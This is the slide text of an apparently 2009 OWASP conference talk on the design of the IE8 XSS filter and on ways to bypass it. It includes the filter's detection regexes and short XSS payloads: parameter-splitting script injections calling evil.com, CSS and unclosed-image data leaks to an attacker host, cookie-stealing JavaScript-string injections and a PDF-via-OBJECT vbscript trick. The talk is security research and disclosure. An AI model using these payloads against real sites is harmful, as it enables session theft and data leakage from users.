Examining And Bypassing The IE8 XSS Filter

14,732 views

Published on

http://www.owasp.org/index.php?title=OWASP_AU_Conference_2009_Presentations#Alex_Kouzemtchenko

Published in: Technology, Business
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
14,732
On SlideShare
0
From Embeds
0
Number of Embeds
315
Actions
Shares
0
Downloads
154
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

Examining And Bypassing The IE8 XSS Filter

  1. 1. Examining and Bypassing the IE8 XSS Filter Alex Kouzemtchenko [email_address]
  2. 2. About Me <ul><li>SIFT </li></ul><ul><ul><li>http://www.sift.com.au/ </li></ul></ul><ul><ul><li>Independent information security services </li></ul></ul><ul><li>Alex Kouzemtchenko </li></ul><ul><ul><li>[email_address] </li></ul></ul><ul><ul><li>R&D Team Lead & Associate </li></ul></ul><ul><ul><li>Focus on Offensive Security Research </li></ul></ul><ul><ul><li>Internet Hardman & Conference Mercenary in another life </li></ul></ul>
  3. 3. Disclaimer <ul><li>This talk is presented from the adversary’s point of view </li></ul><ul><li>This isn’t meant to be a diss on Microsoft or David Ross </li></ul><ul><li>The XSS Filter is a step in the right direction </li></ul><ul><ul><li>XSS attacks which don’t take it into account will fail </li></ul></ul><ul><ul><li>Lifts the bar higher, RC1 even blocks huge chunks </li></ul></ul><ul><li>This talk is specifically about the IE8 Beta 2 and IE8 RC1 filters </li></ul><ul><li>While I’ve been in communication with Microsoft about these issues, I don’t know what the final release will look like, most of these should hopefully be fixed </li></ul>
  4. 4. Agenda <ul><li>XSS Filter Goal & Rationale </li></ul><ul><li>Filter Design & Overview </li></ul><ul><ul><li>Protected & Un-Protected Scenarios </li></ul></ul><ul><ul><li>Some Implementation Details </li></ul></ul><ul><li>Bypasses for various scenarios </li></ul><ul><li>Where the filter is effective </li></ul><ul><li>Summary </li></ul>
  5. 5. XSS Filter Goals & Rationale <ul><li>XSS is the most reported bug class today </li></ul><ul><ul><li>Even in frameworks which do a lot to protect apps </li></ul></ul><ul><ul><li>Still common, even in well known and audited sites </li></ul></ul><ul><li>“ Type-1 XSS flaws … are increasingly being exploited “for fun and profit.” ” – David Ross </li></ul><ul><ul><li>One of the easiest vulnerabilities to exploit </li></ul></ul><ul><ul><ul><li>Known by every beginning hacker out there </li></ul></ul></ul><ul><ul><ul><li>Nice avenue for attacks if you’re willing to sacrifice your pride </li></ul></ul></ul><ul><ul><li>Mass-exploitation has begun – IFRAME SEO Poisoning </li></ul></ul><ul><ul><ul><li>http://ddanchev.blogspot.com/2008/03/massive-iframe-seo-poisoning-attack.html </li></ul></ul></ul><ul><li>The XSS Filter aims to make these vulnerabilities unexploitable in IE8 </li></ul>
  6. 6. XSS Filter Goals <ul><li>Must not “break the web” </li></ul><ul><ul><li>The XSS Filter must be compatible. </li></ul></ul><ul><ul><li>The XSS Filter must be secure. </li></ul></ul><ul><ul><li>The XSS Filter must be performant. </li></ul></ul><ul><li>The compatibility goal explains a lot of the decisions made in the creation of the filter </li></ul>
  7. 7. Protected Scenarios <ul><li>‘ Type-1’ / ‘Reflected’ XSS still the most common </li></ul><ul><ul><li>Input comes in and gets outputted in the http response body unsanitised </li></ul></ul><ul><ul><li>Three main scenarios </li></ul></ul><ul><ul><ul><li>Unfiltered injection outside a tag </li></ul></ul></ul><ul><ul><ul><ul><li><div>$injection</div> </li></ul></ul></ul></ul><ul><ul><ul><li>Unfiltered injection inside a tag </li></ul></ul></ul><ul><ul><ul><ul><li><input value=“$injection”> </li></ul></ul></ul></ul><ul><ul><ul><li>Unfiltered (or semi-filtered) injection into a javascript string </li></ul></ul></ul><ul><ul><ul><ul><li><script> </li></ul></ul></ul></ul><ul><ul><ul><ul><li>var a = “$injection”; </li></ul></ul></ul></ul><ul><ul><ul><ul><li>… </li></ul></ul></ul></ul><ul><ul><ul><ul><li></script> </li></ul></ul></ul></ul><ul><li>Third scenario particularly hard to solve at the framework level without breaking things </li></ul><ul><li>The XSS Filter seeks to fully mitigate all of these scenarios on the client </li></ul>
  8. 8. Un-Protected Scenarios <ul><li>Persistent / Type-2 XSS </li></ul><ul><li>DOM-Based / Type-0 XSS </li></ul><ul><li>Fragmented attacks </li></ul><ul><li>Unsanitised parameter names are outputted </li></ul><ul><ul><li>e.g. Site prints whole query string, or 404 page prints page name </li></ul></ul><ul><ul><ul><li>http://site/ page.jsp ?’”><script>alert(1)</script> </li></ul></ul></ul><ul><li>Unsanitised HTTP Headers are outputted </li></ul><ul><ul><li>Particularly interesting for headers we can easily control </li></ul></ul><ul><ul><ul><li>E.g. Referer header </li></ul></ul></ul><ul><li>Header Injection </li></ul>
  9. 9. Enabling / Disabling the XSS Filter <ul><li>Per-Zone on/off switch exists in zone settings </li></ul><ul><ul><li>XSS Filter disabled in the intranet zone by default  </li></ul></ul><ul><ul><ul><li>Probably best to enable it unless it breaks things </li></ul></ul></ul><ul><ul><li>Enabled for all other zones </li></ul></ul><ul><li>Filter can be disabled on a per-site basis using a HTTP response header: </li></ul><ul><ul><li>X-XSS-Protection: 0 </li></ul></ul>
  10. 10. XSS Filter Logic Flow Flow Chart stolen from http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx
  11. 11. Navigation to HTML? <ul><li>Filter shouldn’t trigger on non-html content, as it will probably break things if it does </li></ul><ul><li>Largely outside our own control </li></ul><ul><li>If something isn’t detected as html, it’s not protected </li></ul><ul><ul><li>Only relevant if someone comes up with some xss techniques which apply to the xml renderer, or similar </li></ul></ul><ul><li>Flash-based XSS not affected </li></ul><ul><ul><li>Largely a non-issue since the filter checks for a reflection, but could become important in later versions </li></ul></ul>
  12. 12. Same Site? <ul><li>Same site navigations ignored to speed everything up </li></ul><ul><li>Our best target for a bypass </li></ul><ul><li>If a site allows us to inject links, when those links are followed, the navigation will be same-site, and therefore not protected </li></ul><ul><ul><li>Hence forums, blogs, wikis, etc are not protected </li></ul></ul><ul><ul><li>Flash-based links (clickTag) works too </li></ul></ul><ul><ul><li>Frames work much the same way, but are automatic </li></ul></ul><ul><ul><ul><li>Frame injection not too uncommon, especially on apps with ‘help’ sections </li></ul></ul></ul><ul><li>Demo </li></ul>
  13. 13. Same Site? <ul><li>In browser attacks are not the only option </li></ul><ul><ul><li>Links opened from other applications could lead to XSS </li></ul></ul><ul><ul><ul><li>Email clients, IM programs, document handling programs (Word, etc) </li></ul></ul></ul><ul><ul><li>Links opened by plugins could lead to XSS </li></ul></ul><ul><ul><ul><li>Opening links in named frames in particular, has lead to same origin policy bugs in Flash in particular, e.g. CVE-2007-6244 </li></ul></ul></ul><ul><li>External application attacks largely mitigated due to a null origin is considered cross-site </li></ul><ul><li>More complex interactions with the browser have the possibility to be considered same-site </li></ul>
  14. 14. Heuristic matches against GET/POST #1 <ul><li>{<st{y}le.*?>.*?((@[i])|(([:=]|(&[#()=]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()=]x?0*((40)|(28)|(92)|(5C));?))))} </li></ul><ul><li>{[ /+amp;quot;apos;`]st{y}le[ /+]*?=.*?([:=]|(&[#()=]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()=]x?0*((40)|(28)|(92)|(5C));?))} </li></ul><ul><li>{<OB{J}ECT[ /+].*?((type)|(codetype)|(classid)|(code))[ /+]*=} </li></ul><ul><li>{<AP{P}LET[ /+].*?code[ /+]*=} </li></ul><ul><li>{[ /+amp;quot;apos;`]data{s}rc[ +]*?=.} </li></ul><ul><li>{<BA{S}E[ /+].*?href[ /+]*=} </li></ul><ul><li>{<LI{N}K[ /+].*?href[ /+]*=} </li></ul><ul><li>{<ME{T}A[ /+].*?http-equiv[ /+]*=} </li></ul><ul><li>{<im{p}ort[ /+].*?implementation[ /+]*=} </li></ul><ul><li>{<EM{B}ED[ /+].*?SRC.*?=} </li></ul><ul><li>{[ /+amp;quot;apos;`]{o}n+?[ +]*?=.} </li></ul><ul><li>{<.*[:]vmlf{r}ame.*?[ /+]*?src[ /+]*=} </li></ul><ul><li>{<[i]?f{r}ame.*?[ /+]*?src[ /+]*=} </li></ul><ul><li>{<is{i}ndex[ /+>]} </li></ul><ul><li>{<sc{r}ipt.*?[ /+]*?src[ /+]*=} </li></ul>
  15. 15. Heuristic matches against GET/POST #2 <ul><li>{[amp;quot;apos;][ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).*?(((l|(u006C))(o|(u006F))(c|(u0063))(a|(u0061))(t|(u0074))(i|(u0069))(o|(u006F))(n|(u006E)))|((n|(u006E))(a|(u0061))(m|(u006D))(e|(u0065)))).*?{=}} </li></ul><ul><li>{[amp;quot;apos;].*?{}[ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).+?{}} </li></ul><ul><li>{[amp;quot;apos;][ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).+?{}.*?{}} </li></ul><ul><li>{[amp;quot;apos;][ ]*(([^a-z0-9~_:apos;amp;quot; ])|(in)).+?(([.].+?)|([].*?[].*?)){=}} </li></ul><ul><li>{(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(b|(&[#()=]x?0*((66)|(42)|(98)|(62));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).} </li></ul><ul><li>{(j|(&[#()=]x?0*((74)|(4A)|(106)|(6A));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(v|(&[#()=]x?0*((86)|(56)|(118)|(76));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(a|(&[#()=]x?0*((65)|(41)|(97)|(61));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(s|(&[#()=]x?0*((83)|(53)|(115)|(73));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(c|(&[#()=]x?0*((67)|(43)|(99)|(63));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*{(r|(&[#()=]x?0*((82)|(52)|(114)|(72));?))}([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(i|(&[#()=]x?0*((73)|(49)|(105)|(69));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(p|(&[#()=]x?0*((80)|(50)|(112)|(70));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(t|(&[#()=]x?0*((84)|(54)|(116)|(74));?))([]|(&[#()=]x?0*(9|(13)|(10)|A|D);?))*(:|(&[#()=]x?0*((58)|(3A));?)).} </li></ul><ul><li>Not an exhaustive list! </li></ul><ul><ul><li>Working on one by hooking the URL checking function </li></ul></ul><ul><ul><li>Send me an email if you need it </li></ul></ul>
  16. 16. Heuristic matches against GET/POST <ul><li>Only GET/POST are searched, and only individually </li></ul><ul><ul><li>Hence we have all the unprotected scenarios </li></ul></ul><ul><li>Notice the regexes like this: ? </li></ul><ul><ul><li>{<sc{r}ipt.*?[ /+]*?src[ /+]*=} </li></ul></ul><ul><ul><li>Specifically the ones that come in two parts </li></ul></ul><ul><ul><li>Won’t match on page.do?param1=<script+&param2=src%3dhttp://www.evil.com/ </li></ul></ul><ul><ul><li>So if we can split the injection into two parameters, we can bypass the signatures </li></ul></ul>
  17. 17. Heuristic matches against GET/POST <ul><li>But sometimes two injection points may not be needed to evade the filters </li></ul><ul><ul><li>ASP/ASP.NET merge duplicate parameters </li></ul></ul><ul><ul><ul><li>page.asp?param=<script+&param=+src%3Dhttp://www.evil.com/> </li></ul></ul></ul><ul><ul><ul><li>param becomes <script , src=http://www.evil.com/> when ASP uses it </li></ul></ul></ul><ul><ul><li>IIS also supports uncommon encoding in urls, namely %uNNNN </li></ul></ul><ul><ul><ul><li>Attacks can be encoded using unicode encoding, and bypass filters </li></ul></ul></ul><ul><ul><li>Many PHP applications call stripslashes() on all input </li></ul></ul><ul><ul><ul><li> gets decoded to a null byte which is ignored by IE, can be inserted everywhere to avoid signatures </li></ul></ul></ul><ul><ul><li>Custom applications do their own decoding (EBay’s Qencoding) </li></ul></ul>
  18. 18. Heuristic matches against GET/POST <ul><li>All is not lost </li></ul><ul><ul><li>MS applies specific transforms to deal with all scenarios other than the last </li></ul></ul><ul><ul><ul><li>Thank Ronald Van Den Heetkamp for arguing for the stripslashes() transforms </li></ul></ul></ul><ul><ul><li>Lesson here is: Don’t use custom encoding on the parameters you accept, or you will not be able to take advantage of the filter’s protection </li></ul></ul><ul><li>However, if we find an injection not covered by those regexes, we win </li></ul>
  19. 19. Signature Match Against the Body <ul><li>When a signature matches against GET/POST params, a new regex is generated, like this: </li></ul><ul><ul><li>(<ob{j}ect((.?)|(..)|(...)|(....)|(.....)|(......))classid=) </li></ul></ul><ul><ul><li>That string of dots, etc is inserted instead of some safe characters, e.g. spaces, braces, etc </li></ul></ul><ul><li>This is then applied to the body </li></ul><ul><ul><li>Of course, as mentioned before, if any non-whitespace related encoding/decoding is done, then these will not match </li></ul></ul>
  20. 20. Neuter Characters <ul><li>The character in the middle braces </li></ul><ul><ul><li>{<is{i}ndex[ /+>]} </li></ul></ul><ul><li>Is replaced with a ‘neuter character’ (#) </li></ul><ul><ul><li><isindex> becomes <is#ndex> </li></ul></ul>
  21. 21. Intro’s over - Lets talk Bypasses <ul><li>What works? </li></ul><ul><ul><li>Fragmented Injections </li></ul></ul><ul><ul><li>HTML-Only Injections </li></ul></ul><ul><ul><li>Same Site Check Bypass via GET </li></ul></ul><ul><ul><li>JavaScript-based tricks for injections into JavaScript strings </li></ul></ul><ul><ul><li>Unfiltered injections into HTML </li></ul></ul><ul><ul><li>Stripping data that isn’t actually attacker controlled </li></ul></ul><ul><li>What’s safe? </li></ul><ul><ul><li>.NET </li></ul></ul><ul><ul><li>Attribute injection </li></ul></ul>
  22. 22. Fragmented Injections <ul><li>Possibly the filter’s biggest limitation </li></ul><ul><ul><li>In some cases there is more than 1 injection point on the page </li></ul></ul><ul><ul><ul><li>Not necessarily both unfiltered </li></ul></ul></ul><ul><ul><li>If any data after an unfiltered injection point is controlled, then we only have to put some of our injection into the unfiltered parameter </li></ul></ul><ul><ul><li>Demo </li></ul></ul><ul><ul><li>No plans to stop this </li></ul></ul>
  23. 23. HTML-Only Injections <ul><li>XSS Filter mostly only stops script injection </li></ul><ul><ul><li>One exception is the form tag </li></ul></ul><ul><li>HTML Injection is still dangerous </li></ul><ul><ul><li>CSS Injections </li></ul></ul><ul><ul><ul><li><style>input[value^=&quot;a&quot;]{background:&quot;http://evil/style.php/ends/a&quot;;}</style> </li></ul></ul></ul><ul><ul><li>Unclosed Image Tags </li></ul></ul><ul><ul><ul><li><img src=“http://evil/ <sensitive data> <a href=“ </li></ul></ul></ul><ul><ul><li>Other HTML Injection tricks exist, but they don’t apply here </li></ul></ul>
  24. 24. Same Site Check Bypass via GET <ul><li>Remember how we realised that if we can control links in forums, wikis, etc, we can bypass the same-site check? </li></ul><ul><li>Me and Cesar Cerrudo independently realised that if we have an XSS bug, we can already inject links </li></ul><ul><ul><li>Furthermore we can style them to take up the whole page, etc </li></ul></ul><ul><ul><li>We can even use clickjacking attacks to do it from our own domain </li></ul></ul><ul><ul><li>Demo </li></ul></ul>
  25. 25. JavaScript-based tricks for injections into JavaScript strings <ul><li>Injections into javascript strings stopped from executing functions, however assignments are still allowed: </li></ul><ul><ul><li>&quot;+document.cookie+“ </li></ul></ul><ul><ul><ul><li>useful when you can leak the var somehow </li></ul></ul></ul><ul><ul><li>&quot;;user_input=document.cookie;// </li></ul></ul><ul><ul><li>&quot;;user_input=sensitive_app_specific_var;// </li></ul></ul><ul><ul><li>“ &&”string2” </li></ul></ul><ul><ul><ul><li>Replaces string before it; not perfect for assignments due to operator precedence </li></ul></ul></ul><ul><ul><li>Location = “whatever“?name:” </li></ul></ul><ul><ul><ul><li>Useful for document.location=“<injection>” </li></ul></ul></ul><ul><ul><ul><li>Props to David Lindsay for coming up with this variant </li></ul></ul></ul><ul><ul><li>&quot;;escape=eval;// </li></ul></ul>
  26. 26. Unfiltered injections into HTML <ul><li>The filter is very good as a whole, and the regexes which it uses are great </li></ul><ul><ul><li>Missed one tiny corner case </li></ul></ul><ul><li>OBJECT tag *usually* requires either a type or codetype or classid or code attribute </li></ul><ul><ul><li>These are all blacklisted </li></ul></ul><ul><li>data attribute usually just says where the OBJECT should get it’s data from </li></ul><ul><ul><li>IE also does extension sniffing </li></ul></ul>
  27. 27. OBJECT Extension Sniffing <ul><li><object data=“some.pdf”> will load some.pdf </li></ul><ul><ul><li>Doesn’t seem to work with any other extension handlers, e.g. .swf </li></ul></ul><ul><ul><li>Only loads PDFs from the same domain </li></ul></ul><ul><ul><li>Got stuck here for a month </li></ul></ul><ul><li><object data=anything_at_all.pdf><param name=src value=http://www.evil.com/xss.pdf> </li></ul><ul><ul><li>Loads the pdf from our site </li></ul></ul><ul><ul><li>PDF uses getURL(“vbscript:payload”); </li></ul></ul><ul><ul><ul><li>Can’t use javascript, since that’s blocked </li></ul></ul></ul><ul><ul><li>Demo time! </li></ul></ul>
  28. 28. Stripping data that isn’t actually attacker controlled <ul><li>The XSS Filter has no way of determining of whether something was actually reflected or not </li></ul><ul><li>So anything which fits one of the regexes can be neutered by an attacker </li></ul><ul><li>We can strip some interesting things: </li></ul><ul><ul><li>Meta tags which specify the charset (thanks 80sec!) </li></ul></ul><ul><ul><ul><li>Limited use in IE8 due to charset sniffing changes, may still be relevant </li></ul></ul></ul><ul><ul><li>JavaScript frame-breakers and other JavaScript blocks </li></ul></ul><ul><ul><ul><li>Makes clickjacking possible even when sites have implemented defences </li></ul></ul></ul><ul><ul><li>Demo </li></ul></ul><ul><ul><li>Could potentially break context-sensitive filters </li></ul></ul><ul><ul><ul><li>script tags normally useless inside style tags, but if we break the style tag... </li></ul></ul></ul>
  29. 29. Summary <ul><li>Upgrade your users to IE8 and enable the filter for the intranet zone if you can </li></ul><ul><li>The filter is close, very close to killing a whole lot of XSS </li></ul><ul><ul><li>If this is important to you, tell Microsoft, it might make the difference between it being fixed now, or in IE9 </li></ul></ul><ul><li>When used together, ASP.NET Request Validation & IE8’s XSS Filter are not bypassable </li></ul>
  30. 30. Questions <ul><li>? </li></ul>
  31. 31. Examining and Bypassing the IE8 XSS Filter Alex Kouzemtchenko [email_address] Thanks to David Ross, et al for making something fun to play with
  32. 32. References – MS Design Info <ul><li>http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx </li></ul><ul><li>http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx </li></ul><ul><li>http://blogs.technet.com/swi/archive/2008/08/18/ie-8-xss-filter-architecture-implementation.aspx </li></ul><ul><li>http://blogs.msdn.com/ie/archive/2008/09/29/statistical-validation-of-the-ie8-xss-filter.aspx </li></ul>
  33. 33. References – Bypass Tricks <ul><li>http://nomoreroot.blogspot.com/2008/08/ie8-xss-filter.html </li></ul><ul><li>http://www.80sec.com/ie8-security-alert.html </li></ul><ul><li>http://www.0x000000.com/?i=634 (dead link  ) </li></ul><ul><li>http://kuza55.blogspot.com/2008/09/ie8-xss-filter.html (comments at the bottom are good) </li></ul><ul><li>http://www.securitylab.ru/analytics/363593.php </li></ul><ul><li>http://www.securiteam.com/windowsntfocus/6Z00C15NFW.html </li></ul>

×